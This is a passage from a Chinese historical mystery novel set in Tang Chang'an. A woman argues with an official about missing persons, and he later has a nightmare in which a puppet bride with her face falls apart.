“裴少卿,你也别把话说太满。长安城有一百零八坊,太大了,想要藏匿几个人实在是容易得很。再说了,杀人犯都还敢回现场装作无事发生,拐子在官差眼皮底下活动有何稀奇!何况,谁说绑人的一定是拐子呢,万一这是一伙变态杀人犯……你们只找了地上可没翻过地下吧。” 裴湛凝眉,拽了一下缰绳。 马儿突然刹住,扬起前踢。 沈缨华又撞上后面的“人墙”,肩头磕了一下还有点疼。 “你干嘛!我不就是提供一个稍微极端点的猜想嘛,用得着这样吗,哼!” 裴湛没理会她的愤怒,淡淡回了一句:“到了。” 说完夹着沈缨华的两侧肩膀,像提小鸡崽子一般将她丢下马,又俯身说了一句:“沈大娘子,我劝你少看些奇奇怪怪的杂书,免得夜里做梦被人索命。” 沈缨华瞪了他一眼,刚想踢一下马屁股给他好看,裴湛立即调转方向,策马扬鞭而去。 沈缨华气势汹汹回府。 心想:老娘行得端坐得正,找人也是一片好心。索命的梦那必须是冤有头债有主,老娘才不怕! 又在心里问候了裴湛的祖宗。 …… 沈缨华今夜睡得挺好,倒是裴湛却罕见地做了梦。 梦里他身着一身喜服,骑在高头大马上,后面跟着一台红色大轿。本是喜气洋洋的一幕,他却倍感阴森——一人一马一轿突兀地立在朱雀大街中央,街道两边的人都好似戴了一张挂笑的面具,每个笑容的弧度都一模一样。 他刚想策马逃走,下一幕却稀里糊涂入了洞房。 周围一片猩红。 绿色嫁衣的新娘端着绢扇,坐在床边。他想后退,但身体完全不受控制,不由自主慢慢靠近。 一步、两步、三步…… 绢扇突然坠地。 他终于看清了新娘的脸。 那是沈缨华。 不——那是描着沈缨华五官的木偶。 下一秒,木偶新娘的头颅歪向一侧,四肢以诡异的角度扭曲,扭到极致后,七零八碎落了一地。 但那双眼睛还直勾勾盯着他。 嘴未动,鬼魅一般的声音却响起—— “你们只找了地上,可没翻过地下……”